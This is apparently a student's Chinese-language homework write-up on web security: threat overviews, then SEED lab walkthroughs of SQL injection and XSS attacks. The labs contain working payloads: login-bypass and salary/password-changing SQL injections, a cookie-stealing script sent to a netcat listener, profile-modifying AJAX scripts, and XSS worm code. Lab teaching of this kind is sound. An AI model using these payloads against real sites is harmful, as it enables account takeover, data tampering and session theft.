20199111 2019-2020-2 《网络攻防实践》第十一周作业
20199111 2019-2020-2 《网络攻防实践》第十一周作业
1.实践内容
1.1 Web应用程序体系结构及其安全威胁
- web应用的体系结构
Web应用程序是一种使用浏览器在互联网或企业内部网上进行访问操作的应用软件形态
浏览器主要完成数据显示与展示渲染,服务器主要完成业务计算处理。浏览器和服务器之间通过HTTP/HITPS应用层协议的请求与应答进行通信,服务器端由Web服务器软件、Web应用程序及后端数据库构成,并通
过经典的三层架构即表示层、业务逻辑层和数据层,来进行组织与构建。
-
浏览器:使用HTTP/HTTPS协议、HTML语言与Web服务器进行交互,获取服务器上的信息和应用服务
-
Web服务器:接收 Web 客户端对资源的请求,支持各种 Web 动态编程语言
-
Web应用程序:嵌入在浏览器中执行客户端逻辑
-
数据库:Web应用存储数据的地方
-
传输协议HTTP/HTTPS:浏览器和由Web服务器 、 Web应用程序和数据库所构成的Web站点之间的通信传输协议。默认使用TCP 80端口
Web应用安全威胁
-
针对浏览器和终端用户的Web浏览安全威胁:网页木马、网站钓鱼等
-
针对传输层的网络协议安全威胁:针对HTTP明文传输协议的敏感信息监听、拒绝服务攻击等
-
系统层安全威胁:Web站点的宿主操作系统
-
Web服务器软件安全威胁:Web服务器软件存在的漏洞与弱点
-
Web数据安全威胁:Web站点中在Web应用程序后台存储的关键数据内容
1.2 Web应用安全攻防技术概述
- Web应用信息收集
针对 Web 应用的攻出也需要首先进行信息情报的收集,对目标Web应用服务进行发现与剖析,标识出它的基本轮廓
-
手工审查Web应用程序结构与源代码
-
查看源代码、 隐藏信息和动态页面中的页面命名规则等
-
查看Web服务器的存储目录结构
-
查看辅助性文件
-
输入表单,表单是Web应用程序接受用户输入的主要途径,通过手工审查页面源代码可以发现一些关键表单的位置
-
查询参数字符串,复用以假冒其他用户、获取受限的数据、运行任意的系统命令等,提供了Web应用程序内部工作的信息
-
-
自动下载与镜像web站点页面
-
使用Goole Hacking技术审查与探测web应用程序
- 使用Google搜索引擎或共他的Google应用,在Web站点中的配置、计算机代码及包含数据中,寻找安全漏洞与敏感信息的计算机黑客技术
-
web应用程序安全评估与漏洞探测
-
往往需要一些 Web 应用程序分析、安全评估和漏洞探测工具
-
浏览器插件
-
免费工具集
-
攻击Web服务器软件
- 数据驱动的远程代码执行安全漏洞
缓冲区溢出、不安全指针、格式化字符串等一系列数据驱动安全漏洞的远程渗透攻击
- 服务器功能拓展模块漏洞
Web服务器软件通过一些功能扩展模块来为核心的HTTP引擎增加其他的功能,这些模块中存在着较多漏洞
- 样本文件安全漏洞
Web服务器软件厂商经常在他们的软件包中包含样本文件和代码示例来演示自己平台一些新奇的用法,这些文件中含有一些漏洞
- 原代码泄露
让渗透测试人员能够查看到没有防护措施Web服务器上的应用程序源代码
- 资源解析攻击
Web服务器软件在处理资源请求时,需要将同一资源的不同表示方式解析为标准化名,叫做资源解析。Web服务器软件可能在资源解析过程中遗漏一些输入合法性与合理性验证的处理从而导致被攻击
攻击Web应用程序
- 针对认证机制的攻击
针对用来确认用户、服务或应用身份机制的攻击手段,包括暴力枚举、利用认证机制不完善弱点、攻击口令恢复验证机制等
- 针对授权机制的攻击
针对用来确定用户、服务或应用是否具有执行请求动作必须权限机制的攻击手段,包括信任/会话预测、利用授权机制不完善弱点、利用会话失效机制小完善弱点、会话身份窃取攻击等
- 客户端攻击
扰乱或者渗透攻击Web站点客户端用户的攻击手段,包括内容欺骗、跨站脚本攻击等
- 命令执行攻击
在Web站点上执行远程命令的攻击手段,包括缓冲区溢出、格式化字符串、LDAP注入、操作系统命令注入、SQL注入等
- 信息暴露
获取Web站点具体系统信息的攻击手段, 包括目录列举、 信息泄露 、路径遍历、 资源位翌可预测等
- 逻辑攻击
扰乱或者渗透攻击Web应用逻辑流程的攻击手段, 包括功能滥用、 拒绝服务攻击、 对抗自动程序不完善、 处理验证过程不完善等
攻击Web数据内容
-
安全敏感数据泄露
-
web服务器存在目录遍历漏洞或不安全的目录文件枚举配置
-
利用web服务器的上传目录临时中转文件
-
web站点公开的文档资料
-
-
网站篡改
利用特定攻击手段入侵网站后,将网站页面内容进行替换
- 不良信息内容上传
Web应用安全防范措施
-
Web站点网络传输安全设防措施
-
使用HTTPS来保护Web站点传输时的保密性
-
通过加密的连接通道来管理Web站点,使用SSH、SFTP等安全协议
-
关键的Web服务器,设悝静态绑定MAC-IP映射,采用冗余等机制来应对拒绝服务攻击
-
-
Web站点操作系统及服务安全设防措施
-
对Web站点的操作系统与服务器软件进行及时的补丁更新
-
对Web站点服务器的操作系统及各种开放服务进行远杆安个漏洞扫描
-
关闭不使用的服务,避免明文传输的网络服务;使用强口令;部署防火墙
-
-
Web应用程序安全设防措施
-
设计与开发 Web应用时,应谨慎考虑是否采用高安全风险的技术
-
使用 Web 服务器软件提供的日志功能, 对 Web 应用程序的所有访问请求进行日忐记录与安全审计
-
-
Web站点数据安全设防措施
- 提高使用者的安全意识
1.3 SQL注入攻击
-
SQL注入定义:指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息
-
SQL注入原理:SQL注入攻击是通过操作输入来修改SQL语句,用以达到执行代码对WEB服务器进行攻击的方法。就是在post/getweb表单、输入域名或页面请求的查询字符串中插入SQL命令,最终使web服务器执行恶意命令的过程
-
基本的SQL语法
-
select
语句用于从表中选取数据:select 列名 from 表名 -
update
语句用于修改表中的数据:update 表名 set 列名 2= 值2 where 列名1 = 值1
-
-
注入过程:
-
SQL注入点探测。通常只要带有输入提交的动态网页,并且动态网页访问数据库,就可能存在SQL注入漏洞。一般通过页面的报错信息来确定是否存在SQL注入漏洞
-
收集后台数据库信息。可以输入特殊字符,如单引号,让程序返回错误信息,我们根据错误信息提示进行判断;还可以使用特定函数来判断,比如输入
“1 and version()>0”
,程序返回正常,说明version()
函数被数据库识别并执行,而version()
函数是MySQL特有的函数,因此可以推断后台数据库为MySQL -
猜解用户名和密码。数据库中的表和字段命名一般都是有规律的。通过构造特殊SQL语句在数据库中依次猜解出表名、字段名、字段数、用户名和密码
-
上传ASP后门,得到默认账户权限。
-
利用数据库扩展存储过程执行shell命令
-
-
防范措施
-
对用户进行分级管理,严格控制用户的权限,对于普通用户,禁止给予数据库建立、删除、修改等相关权限
-
程序员在书写SQL语言时,禁止将变量直接写入到SQL语句,必须通过设置相应的参数来传递相关的变量。从而抑制SQL注入
-
对用户输入进行检查,确保数据输入的安全性,在具体检查输入或提交的变量时,对于单引号、双引号、冒号等字符进行转换或者过滤
-
通过一些扫描工具及时发现系统存在SQL攻击安全漏洞
-
数据库信息加密
-
1.4 XSS跨站脚本攻击
- XSS攻击原理
攻击者利用网站漏洞把恶意的脚本代码(通常包括HTML代码和客户端Javascript脚本)注入到网页之中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害者可能采取Cookie资料窃取、会话劫持、钓鱼欺骗等各种攻击
XSS跨站脚本攻击本身对Web服务器没有直接危害,它借助网站进行传播,使网站的大量用户受到攻击。攻击者一般通过留言、电子邮件或其他途径向受害者发送一个精心构造的恶意URL,当受害者在Web浏览器中打开该URL的时候,恶意脚本会在受害者的计算机上悄悄运行
-
XSS根据其特性和利用手法的不同,只要分成两大类型
-
反射型跨站脚本
-
持久型跨站脚本
-
反射型XSS
反射型跨站脚本也称作非持久型、参数型跨站脚本。主要用于将恶意脚本附加到URL地址的参数中。反射型XSS的利用一般是攻击者通过特定手法(比如利用电子邮件),诱惑用户去访问一个包含恶意代码的URL,当受害者单击这些专门设计的链接的时候,恶意JavaScript代码会直接在受害者主机上的浏览器执行。它的特点是只在用户单击时触发,而且只执行一次,非持久化,所以称为反射型跨站式脚本。
攻击流程:
持久型XSS
此类XSS不需要用户单击特定的URL就能执行跨站脚本,攻击者事先将恶意JavaScript代码上传或存储到漏洞服务器中,只要受害者浏览包含此恶意JavaScript代码的页面就会执行恶意代码。
攻击流程:
-
XSS攻击防范措施
-
服务器端防范措施
-
输入验证: 对用户提交数据进行尽可能严格的验证与过滤
-
输出净化:数据输出前,确保用户提交的数据已被正确进行entity编码
-
消除危险的输入点
-
-
客户端防范措施
-
提高浏览器访问非受信网站时的安全等级
-
关闭Cookie功能
-
-
2.实践过程
2.1 SEED SQL注入攻击与防御实验
实验准备
托管网站的Apache2服务器,先使用指令sudo service apache2 start
启动Apache服务
Web应用网站:http://www.seedlabsqlinjection.com
(也可在火狐浏览器的收藏夹里找到) 图示位置 > Library > Bookmarks
本地文件夹路径:/var/www/SQLInjection/
熟悉SQL语句
首先登陆MySQL数据库,以用户身份查看该数据库下面的表
mysql -u root -pseedubuntu
use User; //不要忘记分号
show tables;
看到了名为credential的表,从credential表中获取信息(使用上文介绍过的select语句)
select * from credential;
看到表中存放着的员工个人信息和薪水
对SELECT语句的SQL注入攻击
在路径/var/www/SQLInjection/
中,找到了unsafe_home.php
文件
查看后可发现系统进行身份识别的语句。
若在用户名位置输入admin '#
,该判断语句即变为
WHERE name='admin'#
后半部分被注释掉了,所以只进行了用户名的校验。
尝试发现可以成功登录。
使用命令行实现上述攻击,输入
curl 'www.seedlabsqlinjection.com/unsafe_home.php?username=admin%27%20%23' //admin'# 其中%27%20%23是特殊符号的十六进制表示
对UPDATE语句的SQL注入攻击
(1)修改Alice工资
UPDATE语句内容在unsafe_edit_backend.php中,进入该文件可以看到,用户可以更改的只有名字、密码、地址、电话号。没有更改薪资的权限
用户名处输入Alice'#
进行登录,登陆成功,此时只能查看当前用户信息
选择edit profile
,在NickName里输入语句
',salary='20199111' where EID='10000';# //#后面的就会被注释,所以就直接执行set salary='500000' where EID = '10000' ,直接修改了工资
看到此时薪资以变为修改值
修改其他人工资只需要在上述语句中更改修改人信息就可以,具体语句如下:
', salary='911' where name='Boby';#
再登录Boby账号,看到薪资成功更改
修改其他人密码和上述实验相同,更改对应信息即可。不过系统中密码经过SHA-1加密,要先获取加密值
在控制台输入:
echo -n '20199111'|sha1sum
再在任意用户Nickname中输入:
', Password='6b21297c88aa2f290c781224a6f22d2bf64e5354' where Name='Boby';#
然后尝试一下可以使用新密码成功登录
** 2.2 SEED XSS跨站脚本攻击实验**
实验准备
Web应用程序网站:http://www.xsslabelgg.com
相关的文件夹:/var/www/XSS/Elgg/
用户名密码表
发布恶意消息,显示警报窗口
登录alice账户,在Brief description域中添加JavaScript代码并保存,然后使用Boby登录并查看alice的profile,将会看到警告窗口
在图示位置选择setting
进入设置界面找到edit profile
,点击之后下拉找到Brief description
模块
添加如下代码,保存后弹出xss提示框
<script>alert('XSS');</script>
使用boby的账号登陆查看alice时,弹出xss提示框,试验成功
弹窗显示cookie信息
在上述实验的同样位置插入如下代码
<script>alert(document.cookie);</script>
使用boby账号登录查看alice时,弹出如下提示框
窃取受害者的cookies
当JavaScript插入img标签时,浏览器尝试从src字段中的URL加载图片,这导致HTTP GET请求发送到攻击者的机器。我们使用JavaScript将cookies发送到攻击者机器的5555端口,若攻击者的TCP server侦听同一个端口,服务器则可打印出任何收到的内容
在上述实验的同样位置插入如下代码
<script>document.write('<img src=http://127.0.0.1:5555?c='+escape(document.cookie) + ' >');</script> //127.0.0.1:5555表示本机的5555端口
同时打开Netcat监听cookie传送回来的端口5555,输入如下命令监听:
nc -vlp 5555 //-v:显示详细信息; -l:监听流进端口的信息; -p:打开本地端口
使用Boby账号进行登录查看Alice的主页,这个时候就能窃取到Boby的cookies
成为受害者的朋友
登录Alice的账号访问Charlies的主页,点击 Add Friend,使用web Developer中的Toggle tools查看需要的数据
需要当前用户的cookies
、__elgg_token
、 __elgg_ts
、 用户id
把如下Javascript程序放在alice的About me中(edit HTML模式)
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44"+ts+token;
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
}
</script>
接下来用boby访问alice的主页,boby就会自动加alice为好友
修改受害者的信息
在上述位置插入如下代码:
<script type="text/javascript">
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content=token+ts+"name="+userName+"&description=<p>This have been cracked by alice.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid){
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
然后用boby访问Alice的profile,即可成功修改boby的profile
编写XSS蠕虫
指导书给出的蠕虫代码如下:
<script id="worm" type ="text/javascript">
var headerTag = "<script id=\"worm\" type=\"text/javascript\">";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
alert(jsCode);
</script>
和上述攻击代码结合在一起可以组成一个带有传播功能的蠕虫病毒
对抗XSS攻击
使用管理员账户进行登录,Account->administration->plugins,找到插件HTMLawed并打开即可抵抗xss攻击 ,插件的主要作用是对用户的输入输出进行校验并且去除特定标签
3.学习中遇到的问题及解决
-
问题1:SQL注入实验时,找不到edit profile入口
-
问题1解决方案:调整网页分辨率
4.实践总结
web的相关知识没接触过,慢慢学吧